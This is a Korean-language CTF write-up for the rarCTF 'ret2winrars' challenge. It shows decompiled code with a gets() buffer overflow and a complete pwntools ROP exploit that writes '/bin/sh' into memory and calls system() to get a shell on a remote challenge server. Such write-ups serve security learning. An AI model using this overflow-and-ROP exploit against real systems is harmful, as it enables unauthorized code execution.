Hacking/write-up

(rarCTF)ret2winrars

JINJIN123 2021. 8. 7. 15:17

ret2winrars
0.02MB

 

-소스코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("Hello, welcome to the WinRaRs!");
  printf("Please enter your WinRaR license key to get access: ");
  get_license();
  puts("Thanks for the license :)");
  return 0;
}

 

 

__int64 get_license()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  return gets(v1);
}

 

 

void flag(void)

{
  system("/bin/cat flag.txt");
  return;
}

-취약점

gets함수에서 bof가 가능하다.

 

-접근

ret위치에 flag함수를 주고 익스를 하면 세그먼트폴트 뜬다.

테스트를 위해 ret위치에 main을 넣어 익스해봤다. 똑같이 세그폴트 뜬다.

main함수를 중간쯤부터 넣어봤다. 정상작동 된다.

-> 함수 코드의 중간부터 넣으면 익스가 된다.

 

-풀이

rop로 익스가 가능하다.

bof로 익스할 땐 flag함수에서 system함수가 호출되기 전 위치를 ret에 넣어주면 된다.

from pwn import *
p=process("./ret2winrars")
e=ELF("./ret2winrars")
p=remote("193.57.159.27",33769)
pause()
pop_rdi=0x000000000040124b
data=0x404040

payload=b'a'*0x28+p64(pop_rdi)+p64(data)+p64(e.plt['gets'])
payload+=p64(pop_rdi)+p64(data)+p64(e.sym['system'])

p.sendlineafter('Please enter your WinRaR license key to get access: ',payload)

p.sendline("/bin/sh\x00")
p.interactive()

 

 


ret위치에 flag함수나 main함수를 위치시켜 익스하면 세그폴트가 뜨는 이유를 몰랐다.

-> EBP값이 변경되면서 잘못된 값을 스택에 넣어주었기 때문에 스택이 깨지는 것이였다.